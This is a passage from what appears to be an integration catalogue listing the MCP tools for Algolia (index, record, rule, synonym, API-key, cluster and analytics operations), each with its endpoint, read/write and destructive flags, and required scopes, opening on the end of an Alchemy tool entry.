origin allowlist for an application, controlling which domain origins are allowed to make requests. Accepts full URLs or bare domains. The provided list fully replaces the existing allowlist. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. DESTRUCTIVE: replaces the app's whole origin allowlist; requests without an allowed Origin header (server-side calls included) are then refused. PUT /api/v1/alchemy/admin/v1/apps/{id}/origin-allowlist. Scopes: api. ================================================================================ ## Algolia URL: https://www.agenticfabriq.com/integrations/algolia Section: Integrated Tools Algolia — 98 MCP tools Provider key: algolia. Scopes: addObject, admin, analytics, api, browse, deleteIndex, deleteObject, editSettings, listIndexes, logs, search, settings. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. algolia_delete_1_clusters_mapping_by_userid (write, destructive) — Deletes a user ID and its associated data from the clusters. via DELETE /1/clusters/mapping/{userID} DELETE /api/v1/algolia/1/clusters/mapping/{userID}. Scopes: admin. algolia_delete_1_configs_by_indexname (write, destructive) — Deletes a Query Suggestions configuration. Deleting only removes the configuration and stops updates to the Query Suggestions index. To delete the Query Suggestions index itself, use the Search API and the `Delete an index` operation. via DELETE /1/configs/{indexName} DELETE /api/v1/algolia/1/configs/{indexName}. Scopes: editSettings. algolia_delete_1_indexes_by_indexname (write, destructive) — Deletes an index and all its settings. - Deleting an index doesn't delete its analytics data. - If you try to delete a non-existing index, the operation is ignored without warning. - If the index you want to delete has replica indices, the replicas become independent indices. - If the index you want to delete is a replica index, you must first unlink it from its primary index before you can delete it. For more information, see [Delete replica indices](https://www.algolia.com/doc/guides/managing-results/refine-results/sorting/how-to/deleting-replicas). via DELETE /1/indexes/{indexName} DELETE /api/v1/algolia/1/indexes/{indexName}. Scopes: deleteIndex. algolia_delete_1_indexes_by_indexname_by_model_recommend_rules_by_objectid (write, destructive) — Deletes a Recommend rule from a recommendation scenario. via DELETE /1/indexes/{indexName}/{model}/recommend/rules/{objectID} DELETE /api/v1/algolia/1/indexes/{indexName}/{model}/recommend/rules/{objectID}. Scopes: editSettings. algolia_delete_1_indexes_by_indexname_by_objectid (write, destructive) — Deletes a record by its object ID. To delete more than one record, use the [`batch` operation](https://www.algolia.com/doc/rest-api/search/batch). To delete records matching a query, use the [`deleteBy` operation](https://www.algolia.com/doc/rest-api/search/delete-by). via DELETE /1/indexes/{indexName}/{objectID} DELETE /api/v1/algolia/1/indexes/{indexName}/{objectID}. Scopes: deleteObject. algolia_delete_1_indexes_by_indexname_rules_by_objectid (write, destructive) — Deletes a rule by its ID. To find the object ID for rules, use the [`search` operation](https://www.algolia.com/doc/rest-api/search/search-rules). via DELETE /1/indexes/{indexName}/rules/{objectID} DELETE /api/v1/algolia/1/indexes/{indexName}/rules/{objectID}. Scopes: editSettings. algolia_delete_1_indexes_by_indexname_synonyms_by_objectid (write, destructive) — Deletes a synonym by its ID. To find the object IDs of your synonyms, use the [`search` operation](https://www.algolia.com/doc/rest-api/search/search-synonyms). via DELETE /1/indexes/{indexName}/synonyms/{objectID} DELETE /api/v1/algolia/1/indexes/{indexName}/synonyms/{objectID}. Scopes: editSettings. algolia_delete_1_keys_by_key (write, destructive) — Deletes the API key. via DELETE /1/keys/{key} DELETE /api/v1/algolia/1/keys/{key}. Scopes: admin. algolia_delete_1_security_sources_by_source (write, destructive) — Deletes a source from the list of allowed sources. via DELETE /1/security/sources/{source} DELETE /api/v1/algolia/1/security/sources/{source}. Scopes: admin. algolia_delete_1_usertokens_by_usertoken (write, destructive) — Deletes all events related to the specified user token from events metrics and analytics. The deletion is asynchronous, and processed within 48 hours. To delete a personalization user profile, see `Delete a user profile` in the Personalization API. via DELETE /1/usertokens/{userToken} DELETE /api/v1/algolia/1/usertokens/{userToken}. Scopes: deleteObject. algolia_get_1_clusters (read) — Lists the available clusters in a multi-cluster setup. via GET /1/clusters GET /api/v1/algolia/1/clusters. Scopes: admin. algolia_get_1_clusters_mapping (read) — Lists the userIDs assigned to a multi-cluster application. Since it can take a few seconds to get the data from the different clusters, the response isn't real-time. via GET /1/clusters/mapping GET /api/v1/algolia/1/clusters/mapping. Scopes: admin. algolia_get_1_clusters_mapping_by_userid (read) — Returns the user ID data stored in the mapping. Since it can take a few seconds to get the data from the different clusters, the response isn't real-time. via GET /1/clusters/mapping/{userID} GET /api/v1/algolia/1/clusters/mapping/{userID}. Scopes: admin. algolia_get_1_clusters_mapping_pending (read) — To determine when the time-consuming process of creating a large batch of users or migrating users from one cluster to another is complete, this operation retrieves the status of the process. via GET /1/clusters/mapping/pending GET /api/v1/algolia/1/clusters/mapping/pending. Scopes: admin. algolia_get_1_clusters_mapping_top (read) — Get the IDs of the 10 users with the highest number of records per cluster. Since it can take a few seconds to get the data from the different clusters, the response isn't real-time. via GET /1/clusters/mapping/top GET /api/v1/algolia/1/clusters/mapping/top. Scopes: admin. algolia_get_1_configs (read) — Retrieves all Query Suggestions configurations of your Algolia application. via GET /1/configs GET /api/v1/algolia/1/configs. Scopes: settings. algolia_get_1_configs_by_indexname (read) — Retrieves a single Query Suggestions configuration by its index name. via GET /1/configs/{indexName} GET /api/v1/algolia/1/configs/{indexName}. Scopes: settings. algolia_get_1_configs_by_indexname_status (read) — Reports the status of a Query Suggestions index. via GET /1/configs/{indexName}/status GET /api/v1/algolia/1/configs/{indexName}/status. Scopes: settings. algolia_get_1_dictionaries_languages (read) — Lists supported languages with their supported dictionary types and number of custom entries. via GET /1/dictionaries/*/languages GET /api/v1/algolia/1/dictionaries/*/languages. Scopes: settings. algolia_get_1_dictionaries_settings (read) — Retrieves the languages for which standard dictionary entries are turned off. via GET /1/dictionaries/*/settings GET /api/v1/algolia/1/dictionaries/*/settings. Scopes: settings. algolia_get_1_indexes (read) — Lists all indices in the current Algolia application. The request follows any index restrictions of the API key you use to make the request. via GET /1/indexes GET /api/v1/algolia/1/indexes. Scopes: listIndexes. algolia_get_1_indexes_by_indexname_by_model_recommend_rules_by_objectid (read) — Retrieves a Recommend rule that you previously created in the Algolia dashboard. via GET /1/indexes/{indexName}/{model}/recommend/rules/{objectID} GET /api/v1/algolia/1/indexes/{indexName}/{model}/recommend/rules/{objectID}. Scopes: settings. algolia_get_1_indexes_by_indexname_by_model_task_by_taskid (read) — Checks the status of a given task. Deleting a Recommend rule is asynchronous. When you delete a rule, a task is created on a queue and completed depending on the load on the server. The API response includes a task ID that you can use to check the status. via GET /1/indexes/{indexName}/{model}/task/{taskID} GET /api/v1/algolia/1/indexes/{indexName}/{model}/task/{taskID}. Scopes: editSettings. algolia_get_1_indexes_by_indexname_by_objectid (read) — Retrieves one record by its object ID. To retrieve more than one record, use the [`objects` operation](https://www.algolia.com/doc/rest-api/search/get-objects). via GET /1/indexes/{indexName}/{objectID} GET /api/v1/algolia/1/indexes/{indexName}/{objectID}. Scopes: search. algolia_get_1_indexes_by_indexname_rules_by_objectid (read) — Retrieves a rule by its ID. To find the object ID of rules, use the [`search` operation](https://www.algolia.com/doc/rest-api/search/search-rules). via GET /1/indexes/{indexName}/rules/{objectID} GET /api/v1/algolia/1/indexes/{indexName}/rules/{objectID}. Scopes: settings. algolia_get_1_indexes_by_indexname_settings (read) — Retrieves an object with non-null index settings. via GET /1/indexes/{indexName}/settings GET /api/v1/algolia/1/indexes/{indexName}/settings. Scopes: settings. algolia_get_1_indexes_by_indexname_synonyms_by_objectid (read) — Retrieves a synonym by its ID. To find the object IDs for your synonyms, use the [`search` operation](https://www.algolia.com/doc/rest-api/search/search-synonyms). via GET /1/indexes/{indexName}/synonyms/{objectID} GET /api/v1/algolia/1/indexes/{indexName}/synonyms/{objectID}. Scopes: settings. algolia_get_1_indexes_by_indexname_task_by_taskid (read) — Checks the status of a given task. Indexing tasks are asynchronous. When you add, update, or delete records or indices, a task is created on a queue and completed depending on the load on the server. The indexing tasks' responses include a task ID that you can use to check the status. via GET /1/indexes/{indexName}/task/{taskID} GET /api/v1/algolia/1/indexes/{indexName}/task/{taskID}. Scopes: addObject. algolia_get_1_keys (read) — Lists all API keys associated with your Algolia application, including their permissions and restrictions. via GET /1/keys GET /api/v1/algolia/1/keys. Scopes: admin. algolia_get_1_keys_by_key (read) — Gets the permissions and restrictions of an API key. When authenticating with the admin API key, you can request information for any of your application's keys. When authenticating with other API keys, you can only retrieve information for that key, with the description replaced by ``. via GET /1/keys/{key} GET /api/v1/algolia/1/keys/{key}. Scopes: search. algolia_get_1_logs (read) — The request must be authenticated by an API key with the [`logs` ACL](https://www.algolia.com/doc/guides/security/api-keys/#access-control-list-acl). - Logs are held for the last seven days. - Up to 1,000 API requests per server are logged. - This request counts towards your [operations quota](https://support.algolia.com/hc/articles/17245378392977-How-does-Algolia-count-records-and-operations) but doesn't appear in the logs itself. via GET /1/logs GET /api/v1/algolia/1/logs. Scopes: logs. algolia_get_1_logs_by_indexname (read) — Retrieves the logs for a single Query Suggestions index. via GET /1/logs/{indexName} GET /api/v1/algolia/1/logs/{indexName}. Scopes: settings. algolia_get_1_security_sources (read) — Retrieves all allowed IP addresses with access to your application. via GET /1/security/sources GET /api/v1/algolia/1/security/sources. Scopes: admin. algolia_get_1_task_by_taskid (read) — Checks the status of a given application task. via GET /1/task/{taskID} GET /api/v1/algolia/1/task/{taskID}. Scopes: editSettings. algolia_get_2_clicks_averageclickposition (read) — Retrieves the average click position of your search results, including a daily breakdown. The average click position is the average of all clicked search result positions. For example, if users only ever click on the first result for any search, the average click position is 1. By default, the analyzed period includes the last eight days including the current day. An average of `null` when `clickAnalytics` is enabled means Algolia didn't receive any [click events](https://www.algolia.com/doc/guides/sending-events/getting-started) for the queries. The average is `null` until Algolia receives at least one click event. via GET /2/clicks/averageClickPosition GET /api/v1/algolia/2/clicks/averageClickPosition. Scopes: analytics. algolia_get_2_clicks_clickthroughrate (read) — Retrieves the click-through rate (CTR) for all your searches with at least one click event, including a daily breakdown. By default, the analyzed period includes the last eight days including the current day. **There's a difference between a 0 and null CTR when `clickAnalytics` is enabled:** - **Null** means there were no queries: since Algolia didn't receive any events, CTR is null. - **0** mean there _were_ queries but no [click events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/clicks/clickThroughRate GET /api/v1/algolia/2/clicks/clickThroughRate. Scopes: analytics. algolia_get_2_clicks_positions (read) — Retrieves the positions in the search results and their associated number of clicks. This lets you check how many clicks the first, second, or tenth search results receive. An average of `0` when `clickAnalytics` is enabled means Algolia didn't receive any [click events](https://www.algolia.com/doc/guides/sending-events/getting-started) for the queries. via GET /2/clicks/positions GET /api/v1/algolia/2/clicks/positions. Scopes: analytics. algolia_get_2_conversions_addtocartrate (read) — Retrieves the add-to-cart rate for all your searches with at least one add-to-cart event, including a daily breakdown. By default, the analyzed period includes the last eight days including the current day. The rate is the number of add-to-cart conversion events divided by the number of tracked searches. A search is tracked if it returns a queryID (`clickAnalytics` is `true`). This differs from the response's `count`, which shows the overall number of searches, including those where `clickAnalytics` is `false`. **There's a difference between a 0 and null add-to-cart rate when `clickAnalytics` is enabled:** - **Null** means there were no queries: since Algolia didn't receive any events, the add-to-cart rate is null. - **0** mean there _were_ queries but no [add-to-cart events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/conversions/addToCartRate GET /api/v1/algolia/2/conversions/addToCartRate. Scopes: analytics. algolia_get_2_conversions_conversionrate (read) — Retrieves the conversion rate (CR) for all your searches with at least one conversion event, including a daily breakdown. By default, the analyzed period includes the last eight days including the current day. **There's a difference between a 0 and null CR when `clickAnalytics` is enabled:** - **Null** means there were no queries: since Algolia didn't receive any events, CR is null. - **0** mean there _were_ queries but no [conversion events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/conversions/conversionRate GET /api/v1/algolia/2/conversions/conversionRate. Scopes: analytics. algolia_get_2_conversions_purchaserate (read) — Retrieves the purchase rate for all your searches with at least one purchase event, including a daily breakdown. By default, the analyzed period includes the last eight days, including the current day. The rate is purchase conversion events divided by tracked searches. A search is tracked if it returns a query ID (`clickAnalytics` is `true`). This differs from the response's `count`, which includes searches where `clickAnalytics` is `false`. **There's a difference between a 0 and null purchase rate when `clickAnalytics` is enabled:** - **Null** means there were no queries. Algolia didn't receive any events, so the purchase rate is null. - **0** means there were queries but no [purchase conversion events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/conversions/purchaseRate GET /api/v1/algolia/2/conversions/purchaseRate. Scopes: analytics. algolia_get_2_conversions_revenue (read) — Retrieves revenue-related metrics, such as the total revenue or the average order value. To retrieve revenue-related metrics, send purchase events. By default, the analyzed period includes the last eight days including the current day. Revenue is based on purchase conversion events (a conversion event with an `eventSubtype` attribute of `purchase`). The revenue is the `price` attribute multiplied by the `quantity` attribute for each object in the event's `objectData` array. via GET /2/conversions/revenue GET /api/v1/algolia/2/conversions/revenue. Scopes: analytics. algolia_get_2_countries (read) — Retrieves the countries with the most searches in your index. via GET /2/countries GET /api/v1/algolia/2/countries. Scopes: analytics. algolia_get_2_filters (read) — Retrieves the 1,000 most frequently used filter attributes. These are attributes of your records that you included in the `attributesForFaceting` setting. via GET /2/filters GET /api/v1/algolia/2/filters. Scopes: analytics. algolia_get_2_filters_by_attribute (read) — Retrieves the 1,000 most frequent filter (facet) values for a filter attribute. These are attributes of your records that you included in the `attributesForFaceting` setting. via GET /2/filters/{attribute} GET /api/v1/algolia/2/filters/{attribute}. Scopes: analytics. algolia_get_2_filters_noresults (read) — Retrieves the 1,000 most frequently used filters for a search that didn't return any results. To get the most frequent searches without results, use the [Retrieve searches without results](https://www.algolia.com/doc/rest-api/analytics/get-searches-no-results) operation. via GET /2/filters/noResults GET /api/v1/algolia/2/filters/noResults. Scopes: analytics. algolia_get_2_hits (read) — Retrieves the object IDs of the 1,000 most frequent search results. If you set the `clickAnalytics` query parameter to `true`, the response also includes: - Tracked searches count. Tracked searches are Search API requests with `clickAnalytics` set to `true`. This differs from the response's `count`, which includes searches where `clickAnalytics` is `false`. - Click count - Click-through rate (CTR) - Conversion count - Conversion rate (CR) - Average click position If you set the `revenueAnalytics` parameter to `true`, the response also includes: - Add-to-cart count - Add-to-cart rate (ATCR) - Purchase count - Purchase rate - Revenue details for each currency **There's a difference between 0% rates and null rates:** - **Null** means there were no queries. Algolia didn't receive any events, so rates are null. - **0% rates** mean there were queries but no [click or conversion events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/hits GET /api/v1/algolia/2/hits. Scopes: analytics. algolia_get_2_searches (read) — Returns the most popular searches. For each search, it also includes the average number of hits. If you set the `clickAnalytics` query parameter to `true`, the response also includes: - Tracked searches count Tracked searches are Search API requests with `clickAnalytics` set to `true`. This differs from the response's `count`, which includes searches where `clickAnalytics` is `false`. - Click count - Click-through rate (CTR) - Conversion count - Conversion rate (CR) - Average click position If you set the `revenueAnalytics` query parameter to `true`, the response also includes: - Add-to-cart count - Add-to-cart rate (ATCR) - Purchase count - Purchase rate - Revenue details for each currency **There's a difference between 0% rates and null rates:** - **Null** means there were no queries. Algolia didn't receive any events, so rates are null. - **0% rates** mean there were queries but no [click or conversion events](https://www.algolia.com/doc/guides/sending-events/getting-started) were received. via GET /2/searches GET /api/v1/algolia/2/searches. Scopes: analytics. algolia_get_2_searches_count (read) — Retrieves the number of searches within a time range, including a daily breakdown. By default, the analyzed period includes the last eight days including the current day. via GET /2/searches/count GET /api/v1/algolia/2/searches/count. Scopes: analytics. algolia_get_2_searches_noclickrate (read) — Retrieves the fraction of searches that didn't lead to any click within a time range, including a daily breakdown. It also returns the number of tracked searches and tracked searches without clicks. By default, the analyzed period includes the last eight days including the current day. via GET /2/searches/noClickRate GET /api/v1/algolia/2/searches/noClickRate. Scopes: analytics. algolia_get_2_searches_noclicks (read) — Retrieves the most popular searches that didn't lead to any clicks, from the 1,000 most frequent searches. For each search, it also returns the number of displayed search results that remained unclicked. via GET /2/searches/noClicks GET /api/v1/algolia/2/searches/noClicks. Scopes: analytics. algolia_get_2_searches_noresultrate (read) — Retrieves the fraction of searches that didn't return any results within a time range, including a daily breakdown. It also returns the count of searches and searches without results used to compute the rates. By default, the analyzed period includes the last eight days including the current day. via GET /2/searches/noResultRate GET /api/v1/algolia/2/searches/noResultRate. Scopes: analytics. algolia_get_2_searches_noresults (read) — Retrieves the 1,000 most frequent searches that produced zero results. via GET /2/searches/noResults GET /api/v1/algolia/2/searches/noResults. Scopes: analytics. algolia_get_2_status (read) — Retrieves the time when the Analytics data for the specified index was last updated. If the index has been recently created or no search has been performed yet the updated time is `null`. The Analytics data is updated every 5 minutes. via GET /2/status GET /api/v1/algolia/2/status. Scopes: analytics. algolia_get_2_users_count (read) — Retrieves the number of unique users within a time range, including a daily breakdown. Since it returns the number of unique users, the sum of the daily values might be different from the total number. By default: - Algolia distinguishes search users by their IP address, _unless_ you include a pseudonymous user identifier in your search requests with the `userToken` API parameter or `x-algolia-usertoken` request header. - The analyzed period includes the last eight days including the current day. via GET /2/users/count GET /api/v1/algolia/2/users/count. Scopes: analytics. algolia_get_3_patterns_fields (read) — Returns the static catalog of analytics fields, grouped by domain and usage (metrics, filters, groups, distributions). No authentication is required. Use it to discover valid `(domain, kind)` pairs before building the other `/3/patterns/*` queries; two fields are combinable in one query only when their `roots` intersect. Each entry's `requires` lists the ACLs needed when that field is actually used in a query. via GET /3/patterns/fields GET /api/v1/algolia/3/patterns/fields. Scopes: api. algolia_post_1_clusters_mapping (write) — Assigns or moves a user ID to a cluster. The time it takes to move a user is proportional to the amount of data linked to the user ID. via POST /1/clusters/mapping POST /api/v1/algolia/1/clusters/mapping. Scopes: admin. algolia_post_1_clusters_mapping_batch (write) — Assigns multiple user IDs to a cluster. **You can't move users with this operation**. via POST /1/clusters/mapping/batch POST /api/v1/algolia/1/clusters/mapping/batch. Scopes: admin. algolia_post_1_clusters_mapping_search (write) — Since it can take a few seconds to get the data from the different clusters, the response isn't real-time. To ensure rapid updates, the user IDs index isn't built at the same time as the mapping. Instead, it's built every 12 hours, at the same time as the update of user ID usage. For example, if you add or move a user ID, the search will show an old value until the next time the mapping is rebuilt (every 12 hours). via POST /1/clusters/mapping/search POST /api/v1/algolia/1/clusters/mapping/search. Scopes: admin. algolia_post_1_configs (write) — Creates a new Query Suggestions configuration. You can have up to 100 configurations per Algolia application. via POST /1/configs POST /api/v1/algolia/1/configs. Scopes: editSettings. algolia_post_1_dictionaries_by_dictionaryname_batch (write) — Adds or deletes multiple entries from your plurals, segmentation, or stop word dictionaries. via POST /1/dictionaries/{dictionaryName}/batch POST /api/v1/algolia/1/dictionaries/{dictionaryName}/batch. Scopes: editSettings. algolia_post_1_dictionaries_by_dictionaryname_search (write) — Searches for standard and custom dictionary entries. via POST /1/dictionaries/{dictionaryName}/search POST /api/v1/algolia/1/dictionaries/{dictionaryName}/search. Scopes: settings. algolia_post_1_events (write) — Sends a list of events to the Insights API. You can include up to 1,000 events in a single request, but the request body must be smaller than 2 MB. via POST /1/events POST /api/v1/algolia/1/events. Scopes: search. algolia_post_1_indexes_batch (write) — Adds, updates, or deletes records in multiple indices with a single API request. - Actions are applied in the order they are specified. - Actions are equivalent to the individual API requests of the same name. This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/*/batch POST /api/v1/algolia/1/indexes/*/batch. Scopes: addObject. algolia_post_1_indexes_by_indexname (write) — Adds a record to an index or replaces it. - If the record doesn't have an object ID, a new record with an auto-generated object ID is added to your index. - If a record with the specified object ID exists, the existing record is replaced. - If a record with the specified object ID doesn't exist, a new record is added to your index. - If you add a record to an index that doesn't exist yet, a new index is created. To update _some_ attributes of a record, use the [`partial` operation](https://www.algolia.com/doc/rest-api/search/partial-update-object). To add, update, or replace multiple records, use the [`batch` operation](https://www.algolia.com/doc/rest-api/search/batch). This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName} POST /api/v1/algolia/1/indexes/{indexName}. Scopes: addObject. algolia_post_1_indexes_by_indexname_batch (write) — Adds, updates, or deletes records in one index with a single API request. Batching index updates reduces latency and increases data integrity. - Actions are applied in the order they're specified. - Actions are equivalent to the individual API requests of the same name. This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/batch POST /api/v1/algolia/1/indexes/{indexName}/batch. Scopes: addObject. algolia_post_1_indexes_by_indexname_browse (write) — Retrieves records from an index, up to 1,000 per request. Searching returns _hits_ (records augmented with highlighting and ranking details). Browsing returns matching records only. Use browse to export your indices. - The Analytics API doesn't collect data when using `browse`. - Records are ranked by attributes and custom ranking. - There's no ranking for typo tolerance, number of matched words, proximity, or geo distance. Browse requests automatically apply these settings: - `advancedSyntax`: `false` - `attributesToHighlight`: `[]` - `attributesToSnippet`: `[]` - `distinct`: `false` - `enablePersonalization`: `false` - `enableRules`: `false` - `facets`: `[]` - `getRankingInfo`: `false` - `ignorePlurals`: `false` - `optionalFilters`: `[]` - `typoTolerance`: `true` or `false` (`min` and `strict` evaluate to `true`) If you send these parameters with your browse requests, they're ignored. via POST /1/indexes/{indexName}/browse POST /api/v1/algolia/1/indexes/{indexName}/browse. Scopes: browse. algolia_post_1_indexes_by_indexname_by_model_recommend_rules_batch (write) — Create or update a batch of Recommend Rules Each Recommend Rule is created or updated, depending on whether a Recommend Rule with the same `objectID` already exists. You may also specify `true` for `clearExistingRules`, in which case the batch will atomically replace all the existing Recommend Rules. Recommend Rules are similar to Search Rules, except that the conditions and consequences apply to a [source item](/doc/guides/algolia-recommend/overview/#recommend-models) instead of a query. The main differences are the following: - Conditions `pattern` and `anchoring` are unavailable. - Condition `filters` triggers if the source item matches the specified filters. - Condition `filters` accepts numeric filters. - Consequence `params` only covers filtering parameters. - Consequence `automaticFacetFilters` doesn't require a facet value placeholder (it tries to match the data source item's attributes instead). via POST /1/indexes/{indexName}/{model}/recommend/rules/batch POST /api/v1/algolia/1/indexes/{indexName}/{model}/recommend/rules/batch. Scopes: editSettings. algolia_post_1_indexes_by_indexname_by_model_recommend_rules_search (write) — Searches for Recommend rules. Use an empty query to list all rules for this recommendation scenario. via POST /1/indexes/{indexName}/{model}/recommend/rules/search POST /api/v1/algolia/1/indexes/{indexName}/{model}/recommend/rules/search. Scopes: settings. algolia_post_1_indexes_by_indexname_by_objectid_partial (write) — Adds new attributes to a record, or updates existing ones. - If a record with the specified object ID doesn't exist, a new record is added to the index **if** `createIfNotExists` is true. - If the index doesn't exist yet, this method creates a new index. - Use first-level attributes only. Nested attributes aren't supported. If you specify a nested attribute, this operation replaces its first-level ancestor. To update attributes without replacing the full record, use these built-in operations. These operations are useful when the initial data isn't available. - `Increment`: increment a numeric attribute. - `Decrement`: decrement a numeric attribute. - `Add`: append a number or string element to an array attribute. - `Remove`: remove all matching number or string elements from an array attribute made of numbers or strings. - `AddUnique`: add a number or string element to an array attribute made of numbers or strings only if it's not already present. - `IncrementFrom`: increment a numeric integer attribute only if the provided value matches the current value. Otherwise, the update is ignored. Example: If you pass an `IncrementFrom` value of 2 for the `version` attribute but the current value is 1, the API ignores the update. If the object doesn't exist, the API only creates it if you pass an `IncrementFrom` value of 0. - `IncrementSet`: increment a numeric integer attribute only if the provided value is greater than the current value. Otherwise, the update is ignored. Example: If you pass an `IncrementSet` value of 2 for the `version` attribute and the current value is 1, the API updates the object. If the object doesn't exist yet, the API only creates it if you pass an `IncrementSet` value greater than 0. Specify an operation by providing an object with the attribute to update as the key and its value as an object with these properties: - `_operation`: the operation to apply on the attribute. - `value`: the right-hand side argument to the operation, for example, increment or decrement step, or a value to add or remove. When updating multiple attributes or using multiple operations targeting the same record, use a single partial update for faster processing. This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/{objectID}/partial POST /api/v1/algolia/1/indexes/{indexName}/{objectID}/partial. Scopes: addObject. algolia_post_1_indexes_by_indexname_clear (write) — Deletes only the records from an index while keeping settings, synonyms, and rules. This operation is resource-intensive and subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/clear POST /api/v1/algolia/1/indexes/{indexName}/clear. Scopes: deleteIndex. algolia_post_1_indexes_by_indexname_deletebyquery (write) — This operation doesn't accept empty filters. This operation is resource-intensive. Use it only if you can't get the object IDs of the records you want to delete. It's more efficient to get a list of object IDs with the [`browse` operation](https://www.algolia.com/doc/rest-api/search/browse), and then delete the records using the [`batch` operation](https://www.algolia.com/doc/rest-api/search/batch). This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/deleteByQuery POST /api/v1/algolia/1/indexes/{indexName}/deleteByQuery. Scopes: deleteIndex. algolia_post_1_indexes_by_indexname_facets_by_facetname_query (write) — Searches for values of a specified facet attribute. - By default, facet values are sorted by decreasing count. You can adjust this with the `sortFacetValueBy` parameter. - Searching for facet values doesn't work if you have **more than 65 searchable facets and searchable attributes combined**. via POST /1/indexes/{indexName}/facets/{facetName}/query POST /api/v1/algolia/1/indexes/{indexName}/facets/{facetName}/query. Scopes: search. algolia_post_1_indexes_by_indexname_operation (write) — Copies or moves (renames) an index within the same Algolia application. Notes: - Existing destination indices are overwritten, except for their analytics data. - If the destination index doesn't exist yet, it's created. - This operation is resource-intensive. **Copy** - If the source index doesn't exist, copying creates a new index with 0 records and default settings. - API keys from the source index are merged with the existing keys in the destination index. - You can't copy the `enableReRanking`, `mode`, and `replicas` settings. - You can't copy to a destination index that already has replicas. - Be aware of the [size limits](https://www.algolia.com/doc/guides/scaling/algolia-service-limits/#application-record-and-index-limits). - For more information, see [Copy indices](https://www.algolia.com/doc/guides/sending-and-managing-data/manage-indices-and-apps/manage-indices/how-to/copy-indices). **Move** - If the source index doesn't exist, moving is ignored without returning an error. - When moving an index, the analytics data keeps its original name, and a new set of analytics data is started for the new name. To access the original analytics in the dashboard, create an index with the original name. - If the destination index has replicas, moving will overwrite the existing index and copy the data to the replica indices. - For more information, see [Move indices](https://www.algolia.com/doc/guides/sending-and-managing-data/manage-indices-and-apps/manage-indices/how-to/move-indices). This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/operation POST /api/v1/algolia/1/indexes/{indexName}/operation. Scopes: addObject. algolia_post_1_indexes_by_indexname_query (write) — Searches a single index and returns matching search results as hits. This method lets you retrieve up to 1,000 hits. If you need more, use the [`browse` operation](https://www.algolia.com/doc/rest-api/search/browse) or increase the `paginatedLimitedTo` index setting. via POST /1/indexes/{indexName}/query POST /api/v1/algolia/1/indexes/{indexName}/query. Scopes: search. algolia_post_1_indexes_by_indexname_rules_batch (write) — Create or update multiple rules. If a rule with the specified object ID doesn't exist, Algolia creates a new one. Otherwise, existing rules are replaced. This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/rules/batch POST /api/v1/algolia/1/indexes/{indexName}/rules/batch. Scopes: editSettings. algolia_post_1_indexes_by_indexname_rules_clear (write) — Deletes all rules from the index. via POST /1/indexes/{indexName}/rules/clear POST /api/v1/algolia/1/indexes/{indexName}/rules/clear. Scopes: editSettings. algolia_post_1_indexes_by_indexname_rules_search (write) — Searches for rules in your index. via POST /1/indexes/{indexName}/rules/search POST /api/v1/algolia/1/indexes/{indexName}/rules/search. Scopes: settings. algolia_post_1_indexes_by_indexname_synonyms_batch (write) — If a synonym with the `objectID` doesn't exist, Algolia adds a new one. Otherwise, existing synonyms are replaced. This operation is subject to [indexing rate limits](https://support.algolia.com/hc/articles/4406975251089-Is-there-a-rate-limit-for-indexing-on-Algolia). via POST /1/indexes/{indexName}/synonyms/batch POST /api/v1/algolia/1/indexes/{indexName}/synonyms/batch. Scopes: editSettings. algolia_post_1_indexes_by_indexname_synonyms_clear (write) — Deletes all synonyms from the index. via POST /1/indexes/{indexName}/synonyms/clear POST /api/v1/algolia/1/indexes/{indexName}/synonyms/clear. Scopes: editSettings. algolia_post_1_indexes_by_indexname_synonyms_search (write) — Searches for synonyms in your index. via POST /1/indexes/{indexName}/synonyms/search POST /api/v1/algolia/1/indexes/{indexName}/synonyms/search. Scopes: settings. algolia_post_1_indexes_objects (write) — Retrieves one or more records, potentially from different indices. Records are returned in the same order as the requests. via POST /1/indexes/*/objects POST /api/v1/algolia/1/indexes/*/objects. Scopes: search. algolia_post_1_indexes_queries (write) — Runs multiple search queries against one or more indices in a single API request. Use cases include: - Searching different indices, such as products and marketing content. - Run multiple queries on the same index with different parameters or filters. If you know the expected result type, use the `searchForHits` or `searchForFacets` helper to simplify the response format. via POST /1/indexes/*/queries POST /api/v1/algolia/1/indexes/*/queries. Scopes: search. algolia_post_1_indexes_recommendations (write) — Retrieves recommendations from selected AI models. via POST /1/indexes/*/recommendations POST /api/v1/algolia/1/indexes/*/recommendations. Scopes: search. algolia_post_1_keys (write) — Creates a new API key with specific permissions and restrictions. via POST /1/keys POST /api/v1/algolia/1/keys. Scopes: admin. algolia_post_1_keys_by_key_restore (write) — Restores a deleted API key. Restoring resets the `validity` attribute to `0`. Algolia stores up to 1,000 API keys per application. 